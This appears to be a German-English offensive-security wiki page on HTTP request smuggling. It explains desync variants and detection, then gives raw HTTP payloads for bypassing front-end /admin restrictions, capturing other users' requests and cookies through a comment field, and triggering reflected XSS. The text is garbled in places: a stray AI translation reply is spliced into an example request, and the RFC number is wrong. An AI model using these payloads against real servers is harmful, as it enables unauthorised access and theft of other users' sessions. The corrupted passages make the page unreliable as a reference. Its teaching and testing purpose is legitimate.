HTTP Request Smuggling / HTTP Desync Attack

Reading time: 34 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist

Diese Schwachstelle tritt auf, wenn eine Desynchronisation zwischen Front-End-Proxies und dem Back-End-Server einem Angreifer erlaubt, eine HTTP-Request zu senden, die vom Front-End (Load-Balancer/Reverse-Proxy) als eine Anfrage und vom Back-End-Server als 2 Anfragen interpretiert wird.
Das erlaubt einem Benutzer, die nächste Anfrage, die beim Back-End-Server eingeht, zu manipulieren.

Theorie

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Realität

Das Front-End (ein Load-Balancer / Reverse-Proxy) verarbeitet entweder den Content-Length- oder den Transfer-Encoding-Header und der Back-End-Server verarbeitet den anderen, wodurch eine Desynchronisation zwischen den beiden Systemen entsteht.
Das kann sehr kritisch sein, da ein Angreifer eine Anfrage an den Reverse-Proxy senden kann, die vom Back-End-Server als zwei verschiedene Anfragen interpretiert wird. Die Gefahr dieser Technik liegt darin, dass der Back-End-Server die zweite injizierte Anfrage so übernimmt, als käme sie vom nächsten Client, und die echte Anfrage dieses Clients Teil der injizierten Anfrage wird.

Besonderheiten

Denke daran, dass in HTTP ein Newline-Zeichen aus 2 Bytes besteht:

  • Content-Length: Dieser Header verwendet eine dezimale Zahl, um die Anzahl der Bytes des Request-Bodys anzugeben. Der Body wird erwartet, im letzten Zeichen zu enden, ein Newline am Ende der Anfrage ist nicht nötig.
  • Transfer-Encoding: Dieser Header verwendet im Body eine hexadezimale Zahl, um die Anzahl der Bytes des nächsten Chunks anzugeben. Der Chunk muss mit einem Newline enden, aber dieses Newline wird nicht von der Längenangabe mitgezählt. Diese Transfer-Methode muss mit einem Chunk der Größe 0 gefolgt von 2 Newlines enden: 0
  • Connection: Nach meiner Erfahrung ist es empfehlenswert, im ersten Request des Request Smuggling Connection: keep-alive zu verwenden.

Visible - Hidden

Das Hauptproblem bei HTTP/1.1 ist, dass alle Requests über denselben TCP-Socket laufen. Wenn eine Diskrepanz zwischen zwei Systemen besteht, die Requests empfangen, ist es möglich, eine Anfrage zu senden, die beim finalen Backend (oder sogar bei Zwischen-Systemen) als zwei verschiedene Anfragen behandelt wird.

This blog post schlägt neue Wege vor, Desync-Angriffe auf ein System zu entdecken, die von WAFs nicht erkannt werden. Dafür stellt es die Visible vs Hidden-Verhaltensweisen vor. Das Ziel ist in diesem Fall, Diskrepanzen in den Antworten zu finden mithilfe von Techniken, die Desyncs verursachen könnten, ohne tatsächlich etwas auszunutzen.

Beispielsweise kann das Senden einer Anfrage mit dem normalen Host-Header und einem " host"-Header — wenn das Backend über diese Anfrage meckert (vielleicht weil der Wert von " host" inkorrekt ist) — darauf hindeuten, dass das Front-End den " host"-Header nicht gesehen hat, das finale Backend ihn aber verwendet hat, was sehr wahrscheinlich eine Desynchronisation zwischen Front-End und Back-End impliziert.

Das wäre eine Hidden-Visible Diskrepanz.

Wenn das Front-End den " host"-Header berücksichtigt hätte, das Back-End jedoch nicht, wäre das eine Visible-Hidden-Situation.

Zum Beispiel ermöglichte dies das Entdecken von Desyncs zwischen AWS ALB als Front-End und IIS als Backend. Das lag daran, dass nach dem Senden von "Host: foo/bar" das ALB 400, Server; awselb/2.0 zurückgab, aber bei "Host : foo/bar" 400, Server: Microsoft-HTTPAPI/2.0 zurückkam, was darauf hinwies, dass das Backend die Antwort sendete. Das ist eine Hidden-Visible (H-V)-Situation.

Beachte, dass diese Situation nicht in AWS korrigiert wurde, aber sie kann verhindert werden, indem routing.http.drop_invalid_header_fields.enabled und routing.http.desync_mitigation_mode = strictest gesetzt werden.

Basic Examples

tip

Beim Versuch, dies mit Burp Suite auszunutzen, deaktiviere Update Content-Length und Normalize HTTP/1 line endings im Repeater, da manche Gadgets Newlines, Carriage Returns und fehlerhafte Content-Lengths ausnutzen.

HTTP request smuggling attacks werden durch das Senden ambiger Requests erzeugt, die Diskrepanzen in der Interpretation der Content-Length (CL) und Transfer-Encoding (TE)-Header zwischen Front-End und Back-End ausnutzen. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als CL.TE, TE.CL und TE.TE. Jede Art repräsentiert eine andere Kombination, wie Front-End und Back-End diese Header priorisieren. Die Verwundbarkeiten entstehen, wenn die Server dieselbe Anfrage unterschiedlich verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.

Grundlegende Beispiele für Verwundbarkeits-Typen

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Zu der vorherigen Tabelle sollte man die TE.0-Technik hinzufügen, ähnlich wie die CL.0-Technik, aber mit Transfer-Encoding.

CL.TE Vulnerability (Content-Length vom Front-End verwendet, Transfer-Encoding vom Back-End verwendet)

  • Front-End (CL): Verarbeitet die Anfrage basierend auf dem Content-Length-Header.

  • Back-End (TE): Verarbeitet die Anfrage basierend auf dem Transfer-Encoding-Header.

  • Angriffsszenario:

  • Der Angreifer sendet eine Anfrage, bei der der Wert des Content-Length-Headers nicht mit der tatsächlichen Content-Länge übereinstimmt.

  • Das Front-End leitet die gesamte Anfrage an das Back-End weiter, basierend auf dem Content-Length-Wert.

  • Das Back-End verarbeitet die Anfrage als chunked aufgrund des Transfer-Encoding: chunked-Headers und interpretiert die verbleibenden Daten als eine separate, nachfolgende Anfrage.

  • Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding vom Front-End verwendet, Content-Length vom Back-End verwendet)

  • Front-End (TE): Verarbeitet die Anfrage basierend auf dem Transfer-Encoding-Header.

  • Back-End (CL): Verarbeitet die Anfrage basierend auf dem Content-Length-Header.

  • Angriffsszenario:

  • Der Angreifer sendet eine chunked-Anfrage, bei der die Chunk-Größe (7b) und die tatsächliche Content-Länge (Content-Length: 4) nicht übereinstimmen.

  • Das Front-End, das Transfer-Encoding berücksichtigt, leitet die gesamte Anfrage an das Back-End weiter.

  • Das Back-End, das Content-Length respektiert, verarbeitet nur den initialen Teil der Anfrage (7b Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage stehen.

  • Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding von beiden unterstützt, mit Obfuskation)

  • Server: Beide unterstützen Transfer-Encoding, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren.

  • Angriffsszenario:

  • Der Angreifer sendet eine Anfrage mit obfuskierten Transfer-Encoding-Headern.

  • Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE- oder TE.CL-Verwundbarkeit ausgenutzt werden.

  • Der nicht verarbeitete Teil der Anfrage, wie von einem der Server gesehen, wird Teil einer nachfolgenden Anfrage und führt so zum Smuggling.

  • Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Szenario (Content-Length von Front-End und Back-End verwendet)

  • Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem Content-Length-Header.
  • Dieses Szenario führt typischerweise nicht zu Smuggling, da beide Server in der Interpretation der Request-Länge übereinstimmen.
  • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Szenario

  • Bezieht sich auf Szenarien, in denen der Content-Length-Header vorhanden ist und einen Wert ungleich Null hat, was anzeigt, dass der Request-Body Inhalt hat. Das Back-End ignoriert den Content-Length-Header (behandelt ihn als 0), aber das Front-End parst ihn.
  • Das ist wichtig zum Verständnis und zur Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
  • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Szenario

  • Wie das vorherige, aber mit TE.
  • Technik reported here
  • Beispiel:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Szenario

In einer 0.CL-Situation wird eine Anfrage mit einem Content-Length-Header wie folgt gesendet:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Und das front-end berücksichtigt die Content-Length nicht, sodass es nur die erste Anfrage an das backend sendet (bis zur 7 im Beispiel). Das backend sieht jedoch die Content-Length und wartet auf einen Body, der nie ankommt, weil das front-end bereits auf die Antwort wartet.

Wenn es jedoch möglich ist, eine Anfrage an das backend zu senden, die beantwortet wird, bevor der Body empfangen wurde, tritt dieser deadlock nicht auf. In IIS passiert das z. B., wenn Anfragen an reservierte Namen wie /con gesendet werden (check the documentation), auf diese Weise wird die initiale Anfrage direkt beantwortet und die zweite Anfrage enthält die Anfrage des Opfers wie:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Das ist nützlich, um eine desync zu verursachen, hatte bisher aber keine Auswirkungen.

Der Beitrag bietet jedoch eine Lösung: die Konvertierung einer 0.CL attack into a CL.0 with a double desync.

Den Webserver zum Absturz bringen

Diese Technik ist auch nützlich in Szenarien, in denen es möglich ist, einen Webserver zu brechen, während die initialen HTTP-Daten gelesen werden, aber ohne die Verbindung zu schließen. Auf diese Weise wird der body der HTTP-Anfrage als die nächste HTTP-Anfrage betrachtet.

Zum Beispiel, wie in this writeup erklärt, war es in Werkzeug möglich, einige Unicode-Zeichen zu senden, wodurch der Server abstürzen würde. Allerdings: wenn die HTTP-Verbindung mit dem Header Connection: keep-alive erstellt wurde, wird der body der Anfrage nicht gelesen und die Verbindung bleibt offen, sodass der body der Anfrage als die nächste HTTP-Anfrage behandelt wird.

Erzwingen mittels hop-by-hop-Header

Durch Missbrauch von hop-by-hop-Headern könntest du dem Proxy signalisieren, den Header Content-Length oder Transfer-Encoding zu löschen, sodass HTTP request smuggling möglich ist.

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Auffinden von HTTP Request Smuggling

Das Identifizieren von HTTP request smuggling Schwachstellen lässt sich oft mithilfe von timing techniques erreichen, die darauf beruhen, zu beobachten, wie lange der server benötigt, um auf manipulierte requests zu antworten. Diese Techniken sind besonders nützlich, um CL.TE- und TE.CL-Schwachstellen zu erkennen. Zusätzlich zu diesen Methoden gibt es weitere Strategien und Werkzeuge, die zum Auffinden solcher Schwachstellen eingesetzt werden können:

Finden von CL.TE-Schwachstellen mittels Timing-Techniken

  • Methode:

  • Sende eine Anfrage, die, falls die Anwendung verwundbar ist, dazu führt, dass der back-end server auf zusätzliche Daten wartet.

  • Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Beobachtung:

  • Der front-end server verarbeitet die Anfrage basierend auf Content-Length und schneidet die Nachricht vorzeitig ab.

  • Der back-end server, der eine chunked-Nachricht erwartet, wartet auf das nächste Chunk, das nie ankommt, was zu einer Verzögerung führt.

  • Indikatoren:

  • Timeouts oder lange Verzögerungen bei der Antwort.

  • Empfang einer 400 Bad Request-Antwort vom back-end server, manchmal mit detaillierten Serverinformationen.

Finden von TE.CL-Schwachstellen mittels Timing-Techniken

  • Methode:

  • Sende eine Anfrage, die, falls die Anwendung verwundbar ist, dazu führt, dass der back-end server auf zusätzliche Daten wartet.

  • Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Beobachtung:
  • Der front-end server verarbeitet die Anfrage basierend auf Transfer-Encoding und leitet die gesamte Nachricht weiter.
  • Der back-end server, der eine Nachricht basierend auf Content-Length erwartet, wartet auf zusätzliche Daten, die nie eintreffen, wodurch eine Verzögerung entsteht.

Weitere Methoden zum Auffinden von Schwachstellen

  • Differenzielle Antwortanalyse:
  • Sende leicht unterschiedliche Versionen einer Anfrage und beobachte, ob sich die server responses auf unerwartete Weise unterscheiden, was auf eine Parsing-Diskrepanz hinweist.
  • Einsatz automatisierter Tools:
  • Tools wie Burp Suite's 'HTTP Request Smuggler' extension können automatisch nach diesen Schwachstellen testen, indem sie verschiedene Formen ambiger requests senden und die Antworten analysieren.
  • Content-Length-Varianz-Tests:
  • Sende Anfragen mit variierenden Content-Length-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachte, wie der server mit solchen Abweichungen umgeht.
  • Transfer-Encoding-Varianz-Tests:
  • Sende Anfragen mit verschleierten oder fehlerhaften Transfer-Encoding-Headern und überwache, wie unterschiedlich front-end und back-end server auf solche Manipulationen reagieren.

The Expect: 100-continue header

Prüfe, wie dieser Header beim Ausnutzen eines http desync helfen kann in:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Nachdem die Effektivität der timing techniques bestätigt wurde, ist es wichtig zu verifizieren, ob client requests manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, deine requests zu vergiften, zum Beispiel indem du eine Anfrage an / so manipulierst, dass sie eine 404-Antwort erzeugt. Die CL.TE- und TE.CL-Beispiele, die zuvor in Basic Examples besprochen wurden, zeigen, wie man eine client-Anfrage vergiften kann, um eine 404-Antwort zu provozieren, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.

Wichtige Überlegungen

Beim Testen auf request smuggling-Schwachstellen durch das Beeinflussen anderer requests solltest du beachten:

  • Getrennte Netzwerkverbindungen: Die "Angriffs"- und die "normale" Anfrage sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide validiert die Anwesenheit der Schwachstelle nicht.
  • Konsistente URL und Parameter: Versuche, identische URLs und Parameternamen für beide Anfragen zu verwenden. Moderne Anwendungen routen Anfragen oft an bestimmte back-end server basierend auf URL und Parametern. Übereinstimmung erhöht die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden — eine Voraussetzung für einen erfolgreichen Angriff.
  • Timing und Rennbedingungen: Die "normale" Anfrage, die dazu gedacht ist, eine Beeinflussung durch die "Angriffs"-Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Sende daher die "normale" Anfrage unmittelbar nach der "Angriffs"-Anfrage. Stark ausgelastete Anwendungen können mehrere Versuche erfordern, um eine eindeutige Bestätigung der Schwachstelle zu erhalten.
  • Herausforderungen durch Load Balancer: Front-end server, die als Load Balancer agieren, können Anfragen auf verschiedene back-end Systeme verteilen. Wenn die "Angriffs"- und die "normale" Anfrage auf unterschiedlichen Systemen landen, schlägt der Angriff fehl. Dieser Load-Balancing-Aspekt kann mehrere Versuche zur Bestätigung einer Schwachstelle erfordern.
  • Unbeabsichtigte Auswirkungen auf Benutzer: Wenn dein Angriff unbeabsichtigt die Anfrage eines anderen Benutzers (nicht die von dir gesendete "normale" Anfrage) beeinflusst, zeigt das, dass dein Angriff eine andere Anwendungssitzung beeinflusst hat. Fortgesetzte Tests könnten andere Benutzer stören — daher ist Vorsicht geboten.

Unterscheidung zwischen HTTP/1.1 pipelining-Artefakten und echtem request smuggling

Connection reuse (keep-alive) und pipelining können leicht Illusionen von "smuggling" in Testing-Tools erzeugen, die mehrere requests über denselben socket senden. Lerne, harmlose client-seitige Artefakte von echten server-seitigen Desyncs zu unterscheiden.

Warum pipelining klassische False Positives erzeugt

HTTP/1.1 reuse eine einzelne TCP/TLS connection und konkatenatiert requests und responses auf demselben Stream. Beim pipelining sendet der client mehrere requests hintereinander und erwartet in-order responses. Ein häufiges False-Positive entsteht, wenn man eine malformed CL.0-artige Nutzlast zweimal über eine einzelne connection erneut sendet:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Ich habe keinen Zugriff auf deine Dateien. Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein (oder teile den zu übersetzenden Abschnitt). Ich übersetze dann den relevanten englischen Text ins Deutsche und lasse Code, Tags, Links, Pfade und die angegebenen Ausnahmen unverändert.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Wenn der Server das fehlerhafte Content_Length ignorierte, gibt es keine FE↔BE desync. Bei reuse hat Ihr Client tatsächlich diesen Byte-Stream gesendet, den der Server als zwei unabhängige requests geparst hat:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Auswirkung: keine. Du hast nur deinen Client vom Server‑Framing desynchronisiert.

tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
  • In Turbo Intruder, set requestsPerConnection=1 and pipeline=False.
  • If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
  1. HTTP/2 nested-response check
  • Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
  1. Partial-requests probe for connection-locked front-ends
  • Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
  • See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
  1. State probes
  • Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
  • Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
  1. Visualize the wire
  • Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.

Connection‑locked request smuggling (Reuse erforderlich)

Einige Front-Ends reuse nur die upstream‑Verbindung, wenn der Client seine Verbindung wiederverwendet hat. Echtes smuggling existiert, ist aber davon abhängig, dass clientseitige Reuse stattfindet. Zur Unterscheidung und zum Nachweis der Auswirkungen:

  • Den serverseitigen Bug nachweisen
  • Verwende den HTTP/2 nested-response check, oder
  • Verwende partial-requests, um zu zeigen, dass das FE upstream nur dann wiederverwendet, wenn der Client es tut.
  • Zeige echte Auswirkungen, selbst wenn direkter Cross‑User‑Socket‑Missbrauch blockiert ist:
    • Cache poisoning: poison shared caches via the desync so responses affect other users.
    • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
    • Bypass FE controls: smuggle restricted paths/methods past the front-end.
    • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
    • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
    • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Wenn du browser‑powered/client‑side desync angreifst, muss die bösartige Anfrage von einem Browser cross‑origin sendbar sein. Header‑Obfuskationstricks funktionieren nicht. Konzentriere dich auf Primitives, die via navigation/fetch erreichbar sind, und pivotiere dann zu cache poisoning, header disclosure oder front-end control bypass, wenn nachgelagerte Komponenten Antworten reflektieren oder cachen.

Für Hintergrund und End‑to‑End‑Workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Umgehung von Front‑End‑Sicherheitsmaßnahmen via HTTP Request Smuggling

Manchmal erzwingen Front‑End‑Proxies Sicherheitsmaßnahmen und prüfen eingehende Requests genau. Diese Maßnahmen lassen sich jedoch durch HTTP Request Smuggling umgehen, sodass unautorisierter Zugriff auf geschützte Endpunkte möglich wird. Beispielsweise kann der Zugriff auf /admin extern blockiert sein, weil der Front‑End‑Proxy solche Versuche aktiv verhindert. Dieser Proxy überprüft jedoch möglicherweise eingebettete Requests innerhalb einer geschmuggelten HTTP‑Anfrage nicht, wodurch eine Lücke zum Umgehen dieser Beschränkungen entsteht.

Betrachte die folgenden Beispiele, die zeigen, wie HTTP Request Smuggling verwendet werden kann, um Front‑End‑Sicherheitskontrollen zu umgehen, speziell mit Fokus auf den Pfad /admin, der üblicherweise vom Front‑End‑Proxy geschützt wird:

CL.TE Beispiel

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Beim CL.TE attack wird der Content-Length-Header für die initiale Anfrage ausgenutzt, während die nachfolgende eingebettete Anfrage den Transfer-Encoding: chunked-Header verwendet. Der front-end proxy verarbeitet die initiale POST-Anfrage, überprüft jedoch die eingebettete GET /admin-Anfrage nicht, sodass unautorisierter Zugriff auf den Pfad /admin möglich ist.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Umgekehrt benutzt beim TE.CL-Angriff die initiale POST-Anfrage Transfer-Encoding: chunked, und die anschließende eingebettete Anfrage wird anhand des Content-Length-Headers verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der front-end proxy die eingeschmuggelte GET /admin-Anfrage und gewährt dadurch versehentlich Zugriff auf den geschützten /admin-Pfad.

Aufdecken von front-end request rewriting

Anwendungen verwenden häufig einen front-end server, um eingehende Anfragen zu ändern, bevor sie an den back-end server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie z. B. X-Forwarded-For: <IP of the client>, um die IP des Clients an den back-end zu übermitteln. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken kann, Schutzmaßnahmen zu umgehen oder versteckte Informationen oder Endpunkte aufzudecken.

Um zu untersuchen, wie ein proxy eine Anfrage verändert, finde einen POST-Parameter, den der back-end in der Antwort zurückgibt. Erstelle dann eine Anfrage, die diesen Parameter zuletzt verwendet, ähnlich der folgenden:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In dieser Struktur werden nachfolgende request-Komponenten an search= angehängt, welcher der im response reflektierte Parameter ist. Diese Reflektion legt die headers der nachfolgenden request offen.

Es ist wichtig, den Content-Length header der verschachtelten request mit der tatsächlichen Content-Länge abzugleichen. Es empfiehlt sich, mit einem kleinen Wert zu beginnen und diesen schrittweise zu erhöhen, da ein zu niedriger Wert die reflected Daten abschneidet, während ein zu hoher Wert die request fehlerhaft werden lassen kann.

Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die request sollte mit search=\r\n0 enden. Unabhängig von den newline-Zeichen werden die Werte an den search-Parameter angehängt.

Diese Methode dient hauptsächlich dazu, die vom front-end proxy vorgenommenen request-Änderungen zu verstehen und damit eine selbstgesteuerte Untersuchung durchzuführen.

Erfassen der requests anderer Benutzer

Es ist möglich, die requests des nächsten Users zu erfassen, indem man während einer POST-Operation eine spezifische request als Wert eines Parameters anhängt. So kann das erreicht werden:

Indem Sie die folgende request als Parameterwert anhängen, können Sie die request des nachfolgenden Clients speichern:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In diesem Szenario soll der comment-Parameter den Inhalt des Kommentarbereichs eines Beitrags auf einer öffentlich zugänglichen Seite speichern. Folglich erscheinen die Inhalte der nachfolgenden Anfrage als Kommentar.

Allerdings hat diese Technik Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parameter-Delimiter, der in der geschmuggelten Anfrage verwendet wird. Bei URL-enkodierten Formulareinsendungen ist dieses Trennzeichen das Zeichen &. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des Opfers am ersten & endet, das sogar Teil des Query-Strings sein kann.

Außerdem ist diese Vorgehensweise auch bei einer TE.CL-Schwachstelle möglich. In solchen Fällen sollte die Anfrage mit search=\r\n0 enden. Unabhängig von Zeilenumbruchzeichen werden die Werte an den search-Parameter angehängt.

Mit HTTP request smuggling Reflected XSS ausnutzen

HTTP Request Smuggling kann genutzt werden, um Webseiten mit Reflected XSS auszunutzen, und bietet dabei erhebliche Vorteile:

  • Eine Interaktion mit Zielbenutzern ist nicht erforderlich.
  • Ermöglicht das Ausnutzen von XSS in Teilen der Anfrage, die normalerweise nicht zugänglich sind, wie z. B. HTTP request headers.

In Fällen, in denen eine Website für Reflected XSS über den User-Agent header anfällig ist, zeigt das folgende Payload, wie diese Schwachstelle ausgenutzt werden kann:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload ist so aufgebaut, dass sie die Schwachstelle ausnutzt durch:

  1. Initiierung einer POST-Anfrage, scheinbar typisch, mit dem Header Transfer-Encoding: chunked, um den Beginn des smuggling anzuzeigen.
  2. Danach ein 0, das das Ende des chunked message body markiert.
  3. Dann wird eine eingeschmuggelte GET-Anfrage eingeführt, wobei der User-Agent-Header mit einem Script, <script>alert(1)</script>, injiziert wird, das das XSS auslöst, wenn der Server diese nachfolgende Anfrage verarbeitet.

Durch Manipulation des User-Agent durch smuggling umgeht die payload normale Anfragebeschränkungen und nutzt so die Reflected XSS-Schwachstelle auf eine unübliche, aber effektive Weise.

HTTP/0.9

caution

Falls der Benutzerinhalt in einer Antwort mit einem Content-type wie text/plain reflektiert wird, was die Ausführung des XSS verhindert. Wenn der Server HTTP/0.9 unterstützt, könnte dies umgangen werden!

Die Version HTTP/0.9 war vor 1.0 und verwendet nur GET-Verben und antwortet nicht mit headers, sondern nur mit dem Body.

In this writeup wurde dies mit request smuggling ausgenutzt und einem verwundbaren Endpunkt, der mit der Eingabe des Benutzers antwortet, um eine Anfrage mit HTTP/0.9 einzuschmuggeln. Der Parameter, der in der Antwort reflektiert wurde, enthielt eine gefälschte HTTP/1.1-Antwort (mit headers und body), sodass die Antwort gültigen ausführbaren JS-Code mit einem Content-Type von text/html enthielt.

Ausnutzen von site-internen Redirects mit HTTP Request Smuggling

Anwendungen leiten häufig von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem Host-Header in der Weiterleitungs-URL verwenden. Das ist bei Webservern wie Apache und IIS üblich. Zum Beispiel führt das Anfordern eines Verzeichnisses ohne abschließenden Slash zu einer Weiterleitung, um den Slash einzufügen:

GET /home HTTP/1.1
Host: normal-website.com

Führt zu:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

